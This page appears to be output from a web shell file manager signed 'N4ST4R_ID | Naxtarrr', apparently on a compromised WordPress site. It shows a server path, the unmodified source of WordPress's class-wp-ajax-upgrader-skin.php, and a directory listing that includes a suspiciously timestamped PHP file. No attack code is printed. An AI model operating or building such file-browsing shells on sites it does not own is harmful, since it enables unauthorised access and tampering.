Submit
Path:
~
/
home
/
bfxleof
/
www
/
wp-admin
/
includes
/
File Content:
class-wp-ajax-upgrader-skin.php
<?php /** * Upgrader API: WP_Ajax_Upgrader_Skin class * * @package WordPress * @subpackage Upgrader * @since 4.6.0 */ /** * Upgrader Skin for Ajax WordPress upgrades. * * This skin is designed to be used for Ajax updates. * * @since 4.6.0 * * @see Automatic_Upgrader_Skin */ class WP_Ajax_Upgrader_Skin extends Automatic_Upgrader_Skin { /** * Holds the WP_Error object. * * @since 4.6.0 * * @var null|WP_Error */ protected $errors = null; /** * Constructor. * * Sets up the WordPress Ajax upgrader skin. * * @since 4.6.0 * * @see WP_Upgrader_Skin::__construct() * * @param array $args Optional. The WordPress Ajax upgrader skin arguments to * override default options. See WP_Upgrader_Skin::__construct(). * Default empty array. */ public function __construct( $args = array() ) { parent::__construct( $args ); $this->errors = new WP_Error(); } /** * Retrieves the list of errors. * * @since 4.6.0 * * @return WP_Error Errors during an upgrade. */ public function get_errors() { return $this->errors; } /** * Retrieves a string for error messages. * * @since 4.6.0 * * @return string Error messages during an upgrade. */ public function get_error_messages() { $messages = array(); foreach ( $this->errors->get_error_codes() as $error_code ) { $error_data = $this->errors->get_error_data( $error_code ); if ( $error_data && is_string( $error_data ) ) { $messages[] = $this->errors->get_error_message( $error_code ) . ' ' . esc_html( strip_tags( $error_data ) ); } else { $messages[] = $this->errors->get_error_message( $error_code ); } } return implode( ', ', $messages ); } /** * Stores an error message about the upgrade. * * @since 4.6.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param string|WP_Error $errors Errors. * @param mixed ...$args Optional text replacements. */ public function error( $errors, ...$args ) { if ( is_string( $errors ) ) { $string = $errors; if ( ! empty( $this->upgrader->strings[ $string ] ) ) { $string = $this->upgrader->strings[ $string ]; } if ( false !== strpos( $string, '%' ) ) { if ( ! empty( $args ) ) { $string = vsprintf( $string, $args ); } } // Count existing errors to generate a unique error code. $errors_count = count( $this->errors->get_error_codes() ); $this->errors->add( 'unknown_upgrade_error_' . ( $errors_count + 1 ), $string ); } elseif ( is_wp_error( $errors ) ) { foreach ( $errors->get_error_codes() as $error_code ) { $this->errors->add( $error_code, $errors->get_error_message( $error_code ), $errors->get_error_data( $error_code ) ); } } parent::error( $errors, ...$args ); } /** * Stores a message about the upgrade. * * @since 4.6.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param string|array|WP_Error $data Message data. * @param mixed ...$args Optional text replacements. */ public function feedback( $data, ...$args ) { if ( is_wp_error( $data ) ) { foreach ( $data->get_error_codes() as $error_code ) { $this->errors->add( $error_code, $data->get_error_message( $error_code ), $data->get_error_data( $error_code ) ); } } parent::feedback( $data, ...$args ); } }
Submit
FILE
FOLDER
Name
Size
Permission
Action
admin-filters.php
6954 bytes
0644
ajax-actions.php
146967 bytes
0644
class-automatic-upgrader-skin.php
3558 bytes
0644
class-bulk-theme-upgrader-skin.php
2440 bytes
0644
class-bulk-upgrader-skin.php
5309 bytes
0604
class-theme-upgrader-skin.php
4085 bytes
0644
class-walker-category-checklist.php
4389 bytes
0644
class-wp-ajax-upgrader-skin.php
3504 bytes
0644
class-wp-application-passwords-list-table.php
6708 bytes
0644
class-wp-community-events.php
18458 bytes
0644
class-wp-media-list-table.php
23774 bytes
0644
class-wp-ms-sites-list-table.php
20397 bytes
0644
class-wp-ms-themes-list-table.php
27176 bytes
0644
class-wp-ms-users-list-table.php
14111 bytes
0644
class-wp-plugin-install-list-table.php
23200 bytes
0644
class-wp-post-comments-list-table.php
1472 bytes
0604
class-wp-privacy-data-export-requests-list-table.php
5535 bytes
0644
class-wp-privacy-data-removal-requests-list-table.php
5692 bytes
0644
class-wp-privacy-policy-content.php
32186 bytes
0644
class-wp-site-health-auto-updates.php
13209 bytes
0644
class-wp-site-health.php
90667 bytes
0644
class-wp-site-icon.php
6195 bytes
0644
class-wp-theme-install-list-table.php
23875 bytes
0644
class-wp-upgrader-skin.php
6311 bytes
0644
class-wp-upgrader-skins.php
1477 bytes
0604
credits.php
5867 bytes
0644
edit-tag-messages.php
1437 bytes
0604
image-edit-20260622000526.php
36119 bytes
0644
ms-admin-filters.php
1376 bytes
0604
translation-install.php
8870 bytes
0644
N4ST4R_ID | Naxtarrr